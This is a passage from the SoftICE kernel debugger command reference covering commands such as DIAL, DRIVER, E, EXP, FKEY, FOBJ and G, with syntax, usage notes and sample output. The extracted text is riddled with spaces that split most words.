The f ol l owi ng i s an exampl e of t he DI AL command:
DI AL on 2 19200 i =at x0 p=9, 555- 5555, , , 1000
The command t el l s Sof t I CE t o f i r st i ni t i al i ze t he modemon com- por t 2 wi t h t he
st r i ng,
``at x0, ' ' and t hen t o make a cal l t hr ough t he modemt o t he t el ephone number 9-
555- 5555
ext ensi on 1000. Commas can be used i n t he phone number , j ust as wi t h
t r adi t i onal modem
sof t war e, t o i nser t del ays i nt o t he di al i ng sequence.


The f ol l owi ng exampl e shows t he synt ax expect ed by SERI AL. EXE when r unni ng i t
on a
r emot e machi ne so t hat i t answer s a DI AL command f r omt he l ocal machi ne:
SERI AL on [ com- por t ] [ baud- r at e] i " i ni t - st r i ng"

The f ol l owi ng SERI AL. EXE command- l i ne uses a modemi ni t i al i zat i on st r i ng of
``at x0' ' t o
answer a cal l ( at 19200 bps) t hr ough a modemon t he r emot e machi ne' s COM1
ser i al por t .

The command l i ne i s ent er ed on t he r emot e machi ne.
SERI AL on 1 19200 i " at x0"
Pagina 687 di 991

When t he r emot e debuggi ng sessi on i s compl et e, ent er t he DI AL OFF command f r om
t he
r emot e machi ne t o t er mi nat e t he debuggi ng sessi on and hang up t he modem.
The f ol l owi ng ar e exampl es of t he Di al i ni t i al i zat i on and Phone number st r i ngs
i n t he Remot e

Debuggi ng Sof t I CE conf i gur at i on set t i ngs:

Di al i ni t i al i zat i on st r i ng: at x0
Tel ephone number st r i ng: 9, 555- 5555, , , 1000
Wi t h t he Di al i ni t i al i zat i on st r i ng i n pl ace, Sof t I CE al ways i ni t i al i zes t he
modemspeci f i ed i n
DI AL commands wi t h ``ATX0' ' , unl ess t he DI AL command expl i ci t l y speci f i es an
i ni t i al i zat i on st r i ng.

Wi t h t he Phone i ni t i al i zat i on st r i ng i n pl ace, Sof t I CE al ways di al s t he
speci f i ed number when
execut i ng DI AL commands, unl ess t he DI AL command expl i ci t l y speci f i es a phone
number .

: DRI VER
^DRI VER Wi ndows NT Syst emI nf or mat i on
^Di spl ay i nf or mat i on on Wi ndows NT dr i ver s.

%Synt ax
DRI VER [ dr i ver - name | pdr i ver - obj ect ]

%Use
The DRI VER command di spl ays i nf or mat i on on Wi ndows NT dr i ver s. I f t he DRI VER
command i s ent er ed wi t hout par amet er s, summar y i nf or mat i on i s shown f or al l
dr i ver s f ound
i n t he \ Dr i ver di r ect or y. However , i f a speci f i c dr i ver i s i ndi cat ed, ei t her by
i t s obj ect di r ect or y
name ( dr i ver - name) , or by i t s obj ect addr ess ( pdr i ver - obj ect ) , mor e det ai l ed
i nf or mat i on i s
di spl ayed.

I f a di r ect or y i s not speci f i ed wi t h t he dr i ver - name, t he DRI VER command
at t empt s t o l ocat e
t he named dr i ver i n t he \ Dr i ver obj ect di r ect or y. To di spl ay i nf or mat i on about
a dr i ver t hat i s
not l ocat ed i n t he \ Dr i ver di r ect or y, you must speci f y t he compl et e obj ect pat h
name of t he
dr i ver .

When di spl ayi ng det ai l ed i nf or mat i on about a speci f i ed dr i ver , t he DRI VER
command
di spl ays t he f i el ds of t he DRI VER_OBJ ECT dat a st r uct ur e as def i ned i n NTDDK. H.

%Out put
The f ol l owi ng f i el ds ar e shown as summar y i nf or mat i on:
St ar t
Base addr ess of t he dr i ver .
Si ze
Dr i ver ' s i mage si ze.
Dr vSect
Poi nt er t o dr i ver modul e st r uct ur e.
Count
Number of t i mes t he r egi st er ed r ei ni t i al i zat i on r out i ne has been
i nvoked f or t he dr i ver .
Dr vI ni t
Addr ess of t he dr i ver ' s Dr i ver Ent r y r out i ne.
Pagina 688 di 991
Dr vSt aI o
Addr ess of t he dr i ver ' s St ar t I o r out i ne.
Dr vUnl d
Addr ess of t he dr i ver ' s Unl oad r out i ne.
Name
Name of t he dr i ver .

The f ol l owi ng i s shown when det ai l ed i nf or mat i on i s pr i nt ed:
Devi ceObj ect
Poi nt er t o t he f i r st devi ce obj ect on t he dr i ver ' s l i nked l i st of devi ce
obj ect s t hat i t owns.
Fl ags
Fi el d i s a bi t - mask of dr i ver f l ag. The onl y f l ag cur r ent l y document ed
i s DRVO_UNLOAD_I NVOKED.
Fast I oDi spat ch
Poi nt er t o t he dr i ver ' s f ast I / O di spat ch dat a st r uct ur e, i f i t has one.
Fi l e Syst emDr i ver s t ypi cal l y have a f ast I / O r out i nes def i ned f or t hem.
I nf or mat i on on t he st r uct ur e can be f ound i n NTDDK. H.
Handl er
Addr esses Upon i ni t i al i zat i on, dr i ver ' s can r egi st er handl er s t hat ar e cal l ed
when
t he dr i ver r ecei ves speci f i c I RP r equest t ypes. Each handl er addr ess i s
l i st ed al ong wi t h t he I RP maj or f unct i on i t pr ocesses f or t he dr i ver .

%Exampl e
The f ol l owi ng exampl e shows t he out put of t he DRI VER command wi t h no
par amet er s. Thi s
r esul t s i n Sof t I CE pr i nt i ng summar y i nf or mat i on on al l t he dr i ver s i n t he
\ Dr i ver obj ect
di r ect or y.

DRI VER
The f ol l owi ng i s an exampl e of t he DRI VER command wi t h t he BEEP. SYS dr i ver
obj ect ' s
name as a par amet er . Fr omt he l i st i ng i t can be seen t hat t he dr i ver ' s f i r st
devi ce obj ect i s at
FD8CD7B0h, and t hat i t has 4 I RP handl er r out i nes r egi st er ed.

DRI VER beep
St ar t Si ze Dr vSect Count Dr vI ni t Dr vSt aI o Dr vUnl d Name
FB030000 00000E20 FD8CDA88 00000000 FB0302EE FB0305E8 FB0306E2 Beep
Devi ceObj ect * : FD8CD7B0
Fl ags : 00000000
Har dwar eDat abase : \ REGI STRY\ MACHI NE\ HARDWARE\ DESCRI PTI ON\ SYSTEM
Fast I oDi spat ch* : 00000000
I RP_MJ _CREATE at 8: FB03053C
I RP_MJ _CLOSE at 8: FB03058A
I RP_MJ _DEVI CE_CONTROL at 8: FB0304C6
I RP_MJ _CLEANUP at 8: FB030416
St ar t Si ze Dr vSect Count Dr vI ni t Dr vSt aI o Dr vUnl d Name
FB030000 00000E20 FD8CDA88 00000000 FB0302EE FB0305E8 FB0306E2 Beep
FB130000 0000D3A0 FD89E8C8 00000000 FB13B7BF 00000000 FB136789 Nwl nkI px
FB050000 00002320 FD8CD1A8 00000000 FB050AF2 FB0508BE 00000000 Moucl ass
FB060000 00002320 FD8CBC48 00000000 FB060AF2 FB0608C0 00000000 Kbdcl ass
FB070000 00003860 FD8CAE48 00000000 FB070B0C 00000000 00000000 VgaSave


: E
^E Wi ndows 3. 1, Wi ndows 95, Wi ndows NT Di spl ay/ ChangeMemor y
^Edi t memor y.

%Synt ax
E[ si ze] [ addr ess [ dat a- l i st ] ]
Pagina 689 di 991

si ze
dat a- l i st : Li st of dat a obj ect s of t he speci f i ed si ze ( byt es, wor ds, doubl e
wor ds,
shor t r eal s, l ong r eal s, or 10- byt e r eal s) or quot ed st r i ngs separ at ed by
commas or spaces. The quot ed st r i ng can be encl osed wi t h si ngl e
quot es or doubl e quot es.

%Use
I f you do not speci f y dat a- l i st , t he cur sor moves i nt o t he Dat a wi ndow wher e
you can edi t t he
memor y i n pl ace. I f you speci f y a dat a- l i st , t he memor y i s i mmedi at el y changed
t o i t s new
val ues.

I f t he Dat a wi ndow i s not cur r ent l y vi si bl e, i t i s aut omat i cal l y made vi si bl e.
Bot h ASCI I and
hexadeci mal edi t modes ar e suppor t ed. To t oggl e bet ween t he ASCI I and
hexadeci mal di spl ay
ar eas, pr ess t he Tab key.

I f you do not speci f y a si ze, t he l ast si ze used i s assumed.

Ent er val i d f l oat i ng poi nt number s i n t he f ol l owi ng f or mat :
[ l eadi ng si gn] deci mal - di gi t s . deci mal - di gi t s E si gn exponent
Exampl e: A val i d f l oat i ng poi nt number i s - 1. 123456 E- 19

%Exampl e
The f ol l owi ng command moves t he cur sor i nt o t he Dat a wi ndow f or edi t i ng. The
st ar t i ng
addr ess i n t he Dat a wi ndow i s at DS: 1000h, and t he dat a di spl ays i n hexadeci mal
byt e f or mat
as wel l as i n ASCI I . The i ni t i al edi t mode i s hexadeci mal .
EB ds: 1000
Val ue Descr i pt i on
B Byt e
WWo r d
D Doubl e Wor d
S Shor t Real
L Long Real
T 10- Byt e Real

The next command moves t he nul l t er mi nat ed ASCI I st r i ng ' Test St r i ng' i nt o
memor y at
l ocat i on DS: 1000h.
EB ds: 1000 ' Test St r i ng' , 0

Thi s command moves t he shor t r eal number 3. 1415 i nt o t he memor y l ocat i on
DS: 1000h.
ES ds: 1000 3. 1415

: EC
^EC WI NDOWS 3. 1, WI NDOWS 95, WI NDOWS NT WI NDOWCONTROL
^F6
^Ent er or exi t t he Code wi ndow.

%Synt ax
EC

%Use
The EC command t oggl es t he cur sor bet ween t he Code wi ndow and t he Command
wi ndow:
. I f t he cur sor i s i n t he Command wi ndow, i t moves t o t he Code wi ndow.
Pagina 690 di 991
. I f t he cur sor i s i n t he Code wi ndow, i t moves t o t he Command wi ndow.
. I f t he Code wi ndow i s not vi si bl e when t he command i s ent er ed, i t i s made
vi si bl e.

When t he cur sor i s i n t he Code wi ndow, sever al opt i ons become avai l abl e t hat
make
debuggi ng much easi er . These opt i ons ar e as f ol l ows:
. Set poi nt - and- shoot br eakpoi nt s
Set t hese wi t h t he BPX command. I f you do not speci f y par amet er s wi t h t he BPX
command ( def aul t key F9) , an execut i on br eakpoi nt i s set at t he l ocat i on of t he
cur sor
posi t i on i n t he Code wi ndow.
. Go t o cur sor l i ne
Set a t empor ar y br eakpoi nt at t he cur sor l i ne and begi n execut i ng wi t h t he HERE
command ( def aul t key F7) .
. Scr ol l t he Code wi ndow
The scr ol l i ng keys ( UpAr r ow, DownAr r ow, PageUp and PageDn) ar e r edef i ned whi l e
t he
cur sor i s i n t he Code wi ndow:
UpAr r ow:
DownAr r ow:
PageUp:
PageDn:

Sour ce Mode Onl y
Scr ol l t he Code wi ndow f r omt he Command wi ndow usi ng t he CTRL key wi t h one of
t he
pr evi ousl y ment i oned cur sor keys. The f ol l owi ng keys al so have speci al meani ng:
. CTRL- Home: Moves t o l i ne 1 of cur r ent sour ce f i l e.
. CTRL- End: Moves t o t he l ast l i ne of t he cur r ent sour ce f i l e.
Not e: The pr evi ous keys onl y wor k f or sour ce di spl ay, not f or di sassembl ed
i nst r uct i ons.
. CTRL- Ri ght Ar r ow: Hor i zont al scr ol l of sour ce code r i ght .
. CTRL- Lef t Ar r ow: Hor i zont al scr ol l of sour ce code l ef t .


: EXI T.
^EXI T Wi ndows 3. 1 Fl owCont r ol
^For ce an exi t of t he cur r ent DOS or Wi ndows pr ogr am.

%Synt ax
EXI T

%Use
The EXI T command at t empt s t o abor t t he cur r ent DOS or Wi ndows pr ogr amby
f or ci ng a
DOS exi t f unct i on ( I NT 21h, f unct i on 4Ch) . Thi s command onl y wor ks i f DOS i s i n
a st at e
wher e i t i s abl e t o accept t he exi t f unct i on cal l . I f t hi s cal l i s made f r om
cer t ai n i nt er r upt
r out i nes, or ot her t i mes when DOS i s not r eady, t he syst emmay behave
unpr edi ct abl y. Onl y
use t hi s cal l when Sof t I CE pops up i n VM mode or 16- or 32- bi t pr ot ect ed mode
r unni ng at
r i ng 3. I n 32- bi t , r i ng 0 pr ot ect ed mode code, an er r or di spl ays.

%Caut i on
Use t he EXI T command wi t h car e. Because Sof t I CE can be popped up at any t i me, a
si t uat i on can occur wher e DOS i s not i n a st at e t o accept an exi t f unct i on
cal l . Al so, t he EXI T
command does not have any pr ogr am- speci f i c r eset t i ng.

Pagina 691 di 991
Exampl e: The EXI T command does not r eset t he vi deo mode or i nt er r upt vect or s.
For
Wi ndows pr ogr ams, t he EXI T command does not f r ee r esour ces.
I f r unni ng under WI N32s, t he EXI T command somet i mes causes WI N32s t o pop up
wi t h an
unhandl ed except i on occur r ed di al og box. Pr ess OK t o t er mi nat e t he appl i cat i on.

For Wi ndows 95 and Wi ndows NT
EXI T i s no l onger suppor t ed.

%Exampl e
Causes t he cur r ent DOS or Wi ndows pr ogr amt o exi t .
EXI T


: EXP.
^EXP Wi ndows 3. 1, Wi ndows 95, Wi ndows NT Symbol / Sour ce
^Di spl ay expor t symbol s f r omDLLs.

%Synt ax
EXP [ [ modul e! ] [ par t i al - name] ] | [ ! ]

modul e! Di spl ay expor t s f r omt he speci f i ed modul e onl y.
par t i al - name Expor t symbol or t he f i r st f ew char act er s of t he name of an expor t
symbol name. The ? char act er can be used as a wi l dcar d char act er i n
pl ace of any char act er i n t he expor t name.
! Di spl ay l i st of modul es f or whi ch Sof t I CE has expor t s l oaded.

%Use
Use t he EXP command t o show expor t s f r omWi ndows DLLs, Wi ndows NT dr i ver s, and
16-
bi t dr i ver s ( . DRV ext ensi on) f or whi ch Sof t I CE has expor t s l oaded. To t el l
Sof t I CE whi ch
DLLs and dr i ver s t o l oad, set t he Sof t I CE i ni t i al i zat i on set t i ngs f or Expor t s
i n Symbol Loader .
The modul e and name par amet er s can be used t o sel ect i vel y di spl ay expor t s onl y
f r omt he
speci f i ed modul e, and/ or expor t s t hat mat ch t he char act er s and wi l dcar ds i n t he
name
par amet er . When expor t s ar e di spl ayed, t he modul e name i s pr i nt ed f i r st on a
l i ne by i t sel f ,
and t he expor t names ar e pr i nt ed bel ow i t , al ong wi t h t hei r addr esses.

Not e: Si nce DLLs and dr i ver s r un i n pr ot ect ed mode, t he addr esses ar e pr ot ect ed
mode
addr esses.

Thi s command i s val i d f or bot h 16- bi t and 32- bi t DLLs wi t h 16- bi t expor t s bei ng
l i st ed f i r st .
For Wi ndows 3. 1

Sof t I CE aut omat i cal l y l oads expor t s f or KERNEL, USER, and GDI .

For Wi ndows 95
Sof t I CE aut omat i cal l y l oads expor t s f or KERNEL, USER, and GDI . The Sof t I CE
Loader can
dynami cal l y l oad 32- bi t expor t ed symbol s.

Wi ndows NT
Sof t I CE aut omat i cal l y l oads expor t s f or KERNEL32, USER32, and GDI 32. The
Sof t I CE
l oader can dynami cal l y l oad 32- bi t expor t ed symbol s.

Pagina 692 di 991
%Exampl e
The f ol l owi ng exampl e of t he EXP command bei ng used t o di spl ay al l expor t s t hat
begi n wi t h
t he st r i ng DELETE: The out put shows t hat KERNEL. DLL has 3 expor t s mat chi ng t he
st r i ng: DELETEATOM, DELETEFI LE, and DELETEPATHNAME. These r out i nes ar e
l ocat ed at 127: E3, 11F: 7D4 and 127: 345A, r espect i vel y. Fol l owi ng t he expor t s
f r om
KERNEL ar e t he expor t s f r omUSER and GDI , and f ol l owi ng t hese begi n t he 32- bi t
expor t s.
. : EXP del et e
KERNEL
0127: 00E3 DELETEATOM 011F: 07D4 DELETEFI LE
0127: 345A DELETEPATHNAME
USER
176F: 0C88 DELETEMENU
GDI
0527: 0000 DELETEMETAFI LE 04B7: 211C DELETESPOOLPAGE
047F: 55FD DELETEDC 054F: 0192 DELETEPQ
047F: 564B DELETEOBJ ECT 04B7: 226E DELETEJ OB
0587: A22E DELETEENHMETAFI LE
KERNEL32
0137: BFF97E9B Del et eAt om0137: BFF88636 Del et eCr i t i cal Sect i on
0137: BFF9DC5A Del et eFi l eA 0137: BFFA4C49 Del et eFi l eW
USER32
0137: BFF62228 Del et eMenu
GDI 32
0137: BFF3248F Del et eCol or Space 0137: BFF32497 Del et eDC
0137: BFF3248B Del et eEnhMet aFi l e 0137: BFF31111 Del et eMet aFi l e
0137: BFF3249F Del et eObj ect

I n t he f ol l owi ng exampl e, t he ! char act er i s used t o nar r ow EXP' s out put t o
onl y t hose
modul es whi ch ar e l i st ed t o t he l ef t of t he ! . I n t he case wher e no DLL or
dr i ver i s speci f i ed
bef or e t he ! , Sof t I CE si mpl y dumps t he names of al l t he modul es f or whi ch i t
has expor t s
l oaded.
. : EXP !
KERNEL
USER
GDI
KERNEL32
USER32
GDI 32

The next exampl e i s of t he EXP command bei ng used t o l i st al l expor t s wi t hi n
USER32. DLL
t hat st ar t wi t h ``I S. ' ' The ! char act er i s used her e t o di f f er ent i at e t he
modul e name f r omt he
name qual i f i er .
. : EXP user 32! i s
USER32
0137: BFF64290 I sChar Al phaA
0137: BFF64256 I sChar Al phaNumer i cA
0137: BFF61014 I sChar Al phaNumer i cW
0137: BFF61014 I sChar Al phaW
0137: BFF641E8 I sChar Lower A
0137: BFF61014 I sChar Lower W
0137: BFF64222 I sChar Upper A
0137: BFF61014 I sChar Upper W
0137: BFF61F6A I sChi l d
0137: BFF6480F I sCl i pboar dFor mat Avai l abl e
0137: BFF64D7C I sDi al ogMessage
Pagina 693 di 991
0137: BFF64D7C I sDi al ogMessageA
0137: BFF6101D I sDi al ogMessageW
0137: BFF618A4 I sDl gBut t onChecked
0137: BFF62F12 I sHungThr ead
0137: BFF64697 I sI coni c
0137: BFF623A5 I sMenu
0137: BFF649B9 I sRect Empt y
0137: BFF644BF I sWi ndow
0137: BFF646E1 I sWi ndowEnabl ed
0137: BFF638C4 I sWi ndowUni code
0137: BFF64706 I sWi ndowVi si bl e
0137: BFF646BC I sZoomed
See Al so SYMBOL, TABLE

: F
^F Wi ndows 3. 1, Wi ndows 95, Wi ndows NT Mi scel l aneous
^Fi l l memor y wi t h dat a.

%Synt ax
F addr ess l l engt h dat a- l i st

l engt h Lengt h i n byt es.
dat a- l i st Li st of byt es or quot ed st r i ngs separ at ed by commas or spaces. A
quot ed st r i ng can be encl osed wi t h si ngl e quot es or doubl e quot es.

%Use
Memor y i s f i l l ed wi t h t he ser i es of byt es or char act er s speci f i ed i n t he dat a-
l i st . Memor y i s
f i l l ed st ar t i ng at t he speci f i ed addr ess and cont i nues f or t he speci f i ed
l engt h. I f t he dat a- l i st
l engt h i s l ess t han t he speci f i ed l engt h, t he dat a- l i st i s r epeat ed as many
t i mes as necessar y.

%Exampl e
Fi l l s memor y st ar t i ng at l ocat i on DS: 8000h f or a l engt h of 100h byt es wi t h t he
st r i ng ' Test ' .
The st r i ng ' Test ' i s r epeat ed unt i l t he f i l l l engt h i s exhaust ed.
F ds: 8000 l 100 ' t est '

: FAULTS
^FAULTS Wi ndows 3. 1, Wi ndows 95, Wi ndows NT ModeCont r ol
^Tur n f aul t t r appi ng on or of f .

%Synt ax
FAULTS [ on | of f ]

%Use
Use t he FAULTS command t o t ur n Sof t I CE pr ocessor f aul t t r appi ng on or of f .

%Exampl e
Tur ns of f f aul t t r appi ng i n Sof t I CE.
FAULTS of f

: FI BER
^FI BER Wi ndows NT Syst emI nf or mat i on
^Dump a f i ber dat a st r uct ur e.

%Synt ax
FI BER [ addr ess]

%Use
Use t he FI BER command t o dump a f i ber dat a st r uct ur e r et ur ned by Cr eat eFi ber ( ) .
I f you do
Pagina 694 di 991
not speci f y an addr ess, FI BER dumps t he f i ber dat a associ at ed wi t h t he cur r ent
t hr ead.
Sof t I CE pr ovi des a st ack t r ace af t er t he dump.

%Exampl e
The f ol l owi ng exampl e dumps t he f i ber dat a associ at ed wi t h t he cur r ent t hr ead:
. : FI BER

Fi ber st at e f or t he cur r ent t hr ead:
User dat a: 004565D0 SEH Pt r : 01C2FFA8
St ack t op: 01C30000 St ack bot t om: 01C2F000 St ack l i mi t : 01B30000
EBX=00000001 ESI =005862B8 EDI =004565D0 EBP=01C2FF88 ESP=01C2FC4C
EI P=63011BAF a. k. a. WI NI NET! . t ext +00010BAF
=> at 001B: 00579720

: FI LE
^FI LE Wi ndows 3. 1, Wi ndows 95, Wi ndows NT Symbol / Sour ce
^Change or di spl ay t he cur r ent sour ce f i l e.

%Synt ax
FI LE [ [ *] f i l e- name]

%Use
The FI LE command i s of t en usef ul when set t i ng a br eakpoi nt on a l i ne t hat has
no associ at ed
symbol . Use FI LE t o br i ng t he desi r ed f i l e i nt o t he Code wi ndow, use t he SS
command t o
l ocat e t he speci f i c l i ne, move t he cur sor t o t he speci f i c l i ne, t hen ent er BPX
or pr ess F9 t o set
t he br eakpoi nt .
. I f you speci f y f i l e- name, t hat f i l e becomes t he cur r ent f i l e and t he st ar t of
t he f i l e di spl ays
i n t he Code wi ndow.
. I f you do not speci f y f i l e- name, t he name of t he cur r ent sour ce f i l e, i f any,
di spl ays.
. I f you speci f y t he * ( ast er i sk) , al l f i l es i n t he cur r ent symbol t abl e
di spl ay.

Onl y sour ce f i l es t hat ar e l oaded i nt o memor y wi t h Symbol Loader or ar e pr e-
l oaded at
i ni t i al i zat i on ar e avai l abl e wi t h t he FI LE command.

For Wi ndows 95 and Wi ndows NT
Speci f yi ng t he FI LE f i l e- name command swi t ches addr ess cont ext s wi t hi n Sof t I CE,
i f t he
cur r ent symbol t abl e has an associ at ed addr ess cont ext .

%Exampl e
I f mai n. c i s l oaded wi t h t he Sof t I CE Loader , t hi s command di spl ays i t i n t he
Code wi ndow
st ar t i ng wi t h l i ne 1.
FI LE mai n. c

: FKEY
^FKEY Wi ndows 3. 1, Wi ndows 95, Wi ndows NT Cust omi zat i on
^Show and edi t t he f unct i on key assi gnment s.

%Synt ax
FKEY [ f unct i on- key st r i ng]

f unct i on- key
st r i ng Consi st s of any val i d Sof t I CE commands and t he speci al char act er s
car et ( ^) and semi col on ( ; ) . Pl ace a car et ( ^) at t he begi nni ng of a
Pagina 695 di 991
command t o make t he command i nvi si bl e. Pl ace a semi col on ( ; ) i n t he
st r i ng i n pl ace of Ent er .

%Use
Use t he FKEY command t o assi gn a st r i ng of one or mor e commands t o a f unct i on-
key. I f you
do not speci f y par amet er s, t he cur r ent f unct i on- key assi gnment s di spl ay.

Hi nt : You can al so edi t f unct i on key assi gnment s by modi f yi ng t he Sof t I CE
i ni t i al i zat i on
set t i ngs f or Keyboar d Mappi ngs i n Symbol Loader . Ref er t o t he Usi ng Sof t I CE
manual
f or mor e i nf or mat i on about cust omi zi ng Sof t I CE.

To unassi gn a speci f i ed f unct i on- key, use t he FKEY command wi t h t he par amet er s
f unct i on_key_name f ol l owed by nul l _st r i ng.

Use car r i age r et ur n symbol s i n a f unct i on- key assi gnment st r i ng t o assi gn a
f unct i on- key a
ser i es of commands. A car r i age r et ur n i s r epr esent ed by a semi - col on ( ; ) .

I f you put a car et ``^' ' or pr ess Shi f t - 6 i n f r ont of a command name, t he
subsequent command
becomes i nvi si bl e. The command f unct i ons as nor mal , but al l i nf or mat i on t hat
nor mal l y
di spl ays i n t he Command wi ndow ( excl udi ng er r or messages) i s suppr essed. The
i nvi si bl e
mode i s usef ul when a command changes i nf or mat i on i n a wi ndow ( Code, Regi st er ,
or Dat a) ,
but you do not want t o cl ut t er t he Command wi ndow.

Key___________Descr i pt i on
F1 - F12 Unshi f t ed f unct i on key
SF1 - SF12 Shi f t ed f unct i on key
CF1 - CF12 Cont r ol key pl us f unct i on key
AF1 - AF12 Al t er nat e key pl us f unct i on key

Sof t I CE i mpl ement s t he f unct i on- keys by i nser t i ng t he ent i r e st r i ng i nt o i t s
keyboar d buf f er .
The f unct i on- keys can t her ef or e be used anypl ace wher e a val i d command can be
t yped. I f
you want a f unct i on key assi gnment t o be i n ef f ect ever y t i me you use Sof t I CE,
pr e- i ni t i al i ze
t he keyboar d mappi ngs wi t hi n your SOFTI CE conf i gur at i on set t i ngs. Ref er t o
Chapt er 8,
``Cust omi zi ng Sof t I CE' ' i n t he Usi ng Sof t I CE gui de.

%Exampl e
Thi s exampl e assi gns t he t oggl e Regi st er wi ndow command t o t he F2 f unct i on- key.
The car et
``^' ' makes t he f unct i on i nvi si bl e, and t he semi col on ``; ' ' ends t he f unct i on
wi t h a car r i age
r et ur n. Af t er you ent er t hi s command, pr ess t he F2 key t o t oggl e t he Regi st er
wi ndow on or
of f .
FKEY f 2 ^wr ;
The next exampl e shows t hat mul t i pl e commands can be assi gned t o a si ngl e
f unct i on and
t hat par t i al commands can be assi gned f or t he user t o compl et e. Af t er you ent er
t hi s
command, pr essi ng t he Ct r l F1 key sequence causes t he pr ogr amt o execut e unt i l
l ocat i on
Pagina 696 di 991
CS: 8028F000h i s r eached, di spl ays t he st ack cont ent s, and st ar t s t he U command
f or t he user
t o compl et e.
FKEY cf 1 g cs: 8028f 000; d ss: esp; u cs: ei p+

Af t er you ent er t hi s exampl e, pr essi ng t he F1 key makes t he Dat a wi ndow t hr ee
l i nes l ong and
dumps dat a st ar t i ng at 100h i n t he segment cur r ent l y di spl ayed i n t he Dat a
wi ndow.
FKEY f 1 wd 3; d 100;
The f ol l owi ng exampl e t oggl es t he Regi st er wi ndow, and cr eat es a Local s wi ndow
of l engt h 8
and a Code wi ndow of l engt h 10.
FKEY f 1 wr ; wl 8; wc 10;

: FOBJ
^FOBJ Wi ndows NT Syst emI nf or mat i on
^Di spl ay i nf or mat i on about a f i l e obj ect .

%Synt ax
FOBJ [ f obj - addr ess]
f obj - addr ess Addr ess of t he st ar t of t he f i l e obj ect st r uct ur e t o be di spl ayed.

%Use
The FOBJ command di spl ays t he cont ent s of ker nel f i l e obj ect s. The command
checks f or t he
val i di t y of t he speci f i ed f i l e obj ect by i nsur i ng t hat t he devi ce obj ect
r ef er enced by i t i s a
l egi t i mat e devi ce obj ect .

The f i el ds shown by Sof t I CE ar e not document ed i n t hei r ent i r et y her e, as
adequat e
i nf or mat i on about t hemcan be f ound i n NTDDK. H i n t he Wi ndows NT DDK. A f ew
f i el ds
deser ve speci al ment i on, however , because devi ce dr i ver wr i t er s f i nd t hem
par t i cul ar l y usef ul :
Devi ceObj ect
Thi s f i el d i s a poi nt er t o t he devi ce obj ect associ at ed wi t h t he f i l e
obj ect .
Vpb
Thi s i s a poi nt er t o t he vol ume par amet er bl ock associ at ed wi t h t he
f i l e obj ect ( i f any) .
FSCont ext 1 and
FSCont ext 2
These ar e f i l e syst emdr i ver ( FSD) pr i vat e f i el ds t hat can ser ve as keys
t o ai d t he dr i ver i n det er mi ni ng what i nt er nal FSD dat a i s associ at ed
wi t h t he obj ect .

Ot her f i el ds of i nt er est , whose pur pose shoul d be f ai r l y obvi ous, i ncl ude t he
access pr ot ect i on
bool eans, t he Fl ags, t he Fi l eName and t he Cur r ent Byt eOf f set .

^%Exampl e
The f ol l owi ng exampl e shows t he FOBJ command' s out put :
. : FOBJ f d877230
Devi ceObj ect * : FD881570
Vpb * : 00000000
FsCont ext * : FD877188
FsCont ext 2 * : FD877C48
SecObj Poi nt er * : FD8771B4
Pr i vat eCacheMap * : 00000001
Fi nal St at us : 00000000
Rel at edFi l eObj * : 00000000
Pagina 697 di 991
LockOper at i on : Fal se
Del et ePendi ng : Fal se
ReadAccess : Tr ue
Wr i t eAccess : Tr ue
Del et eAccess : Fal se
Shar edRead : Tr ue
Shar edWr i t e : Tr ue
Shar edDel et e : Fal se
Fl ags : 00040002 FO_SYNCHRONOUS_I O | FO_HANDLE_CREATED
Fi l eName : \ G: \ SS\ dat a\ st at us. dat
Cur r ent Byt eOf f set : 00
Wai t er s : 00000000
Busy : 00000000
Last Lock* : 00000000
&Lock : FD877294
&Event : FD8772A4
Compl Cont ext * : 00000000


^: FLASH
^FLASH Wi ndows 3. 1, Wi ndows 95, Wi ndows NT Wi ndowCont r ol
^Rest or e t he Wi ndows scr een dur i ng P and T commands.

%Synt ax
FLASH [ on | of f ]

%Use
Use t he FLASH command t o speci f y whet her t he Wi ndows scr een r est or es dur i ng any
T
( t r ace) and P ( st ep over ) commands. I f you speci f y t hat t he Wi ndows scr een i s
t o be r est or ed,
i t i s r est or ed f or t he br i ef t i me per i od t hat t he P or T command i s execut i ng.
Thi s f eat ur e i s
needed t o debug sect i ons of code t hat access vi deo memor y di r ect l y.
I f t he r out i ne bei ng cal l ed wr i t es t o t he Wi ndows scr een and i f t he P command
execut es acr oss
a cal l , t he scr een r est or es. When debuggi ng pr ot ect ed mode appl i cat i ons such as
VxDs or
Wi ndows appl i cat i ons wi t h FLASH of f , t hi s i s gener al l y not t he case. Sof t I CE
r est or es t he
scr een onl y i f t he di spl ay dr i ver i s cal l ed bef or e t he cal l i s compl et ed.

I f you do not speci f y a par amet er , t he cur r ent st at e of FLASH di spl ays.
The def aul t i s FLASH OFF.

%Exampl e
Thi s command t ur ns on FLASH mode. The Wi ndows scr een r est or es dur i ng any
subsequent
P or T commands.
FLASH on

: FORMAT
^FORMAT WI NDOWS 3. 1, WI NDOWS 95, WI NDOWS NT WI NDOWCONTROL
^Shi f t - F3
^Change t he f or mat of t he Dat a wi ndow.

%Synt ax
FORMAT

%Use
Use t he FORMAT command t o change t he di spl ay f or mat i n t he cur r ent l y di spl ayed
Dat a
Pagina 698 di 991
wi ndow. Change t he f or mat s i n t he or der byt e, wor d, dwor d, shor t r eal , l ong
r eal , 10- byt e
r eal , and t hen st ar t i ng back at byt e. Thi s command i s most usef ul when assi gned
t o a f unct i on
key. The def aul t f unct i on key assi gnment i s Shi f t - F3. The Shi f t - F3 i s al so
suppor t ed when
edi t i ng i n t he Dat a wi ndow.

%Exampl e
Changes t he Dat a wi ndow t o t he next dat a f or mat .
FORMAT


: G
^G Wi ndows 3. 1, Wi ndows 95, Wi ndows NT Fl owCont r ol
^Go t o an addr ess.

%Synt ax
G [ =st ar t - addr ess] [ br eak- addr ess]

=st ar t - addr ess Any expr essi on t hat r esol ves t o a val i d addr ess i s accept abl e.
br eak- addr ess Any expr essi on t hat r esol ves t o a val i d addr ess i s accept abl e.

%Use
The G command exi t s f r omSof t I CE. I f you speci f y br eak- addr ess, a si ngl e one-
t i me
execut i on br eakpoi nt i s set on t hat addr ess. I n addi t i on, al l st i cky
br eakpoi nt s ar e ar med.
Execut i on begi ns at t he cur r ent CS: EI P unl ess you suppl y t he st ar t - addr ess
par amet er . I f you
suppl y t he st ar t - addr ess par amet er , execut i on begi ns at st ar t - addr ess.
Execut i on cont i nues
unt i l t he br eak- addr ess i s encount er ed, t he Sof t I CE pop- up key sequence i s
used, or a st i cky
br eakpoi nt i s t r i gger ed. When Sof t I CE pops up, f or any r eason, t he one- t i me
execut i on
br eakpoi nt i s cl ear ed.

The br eak- addr ess must be t he f i r st byt e of an i nst r uct i on opcode.

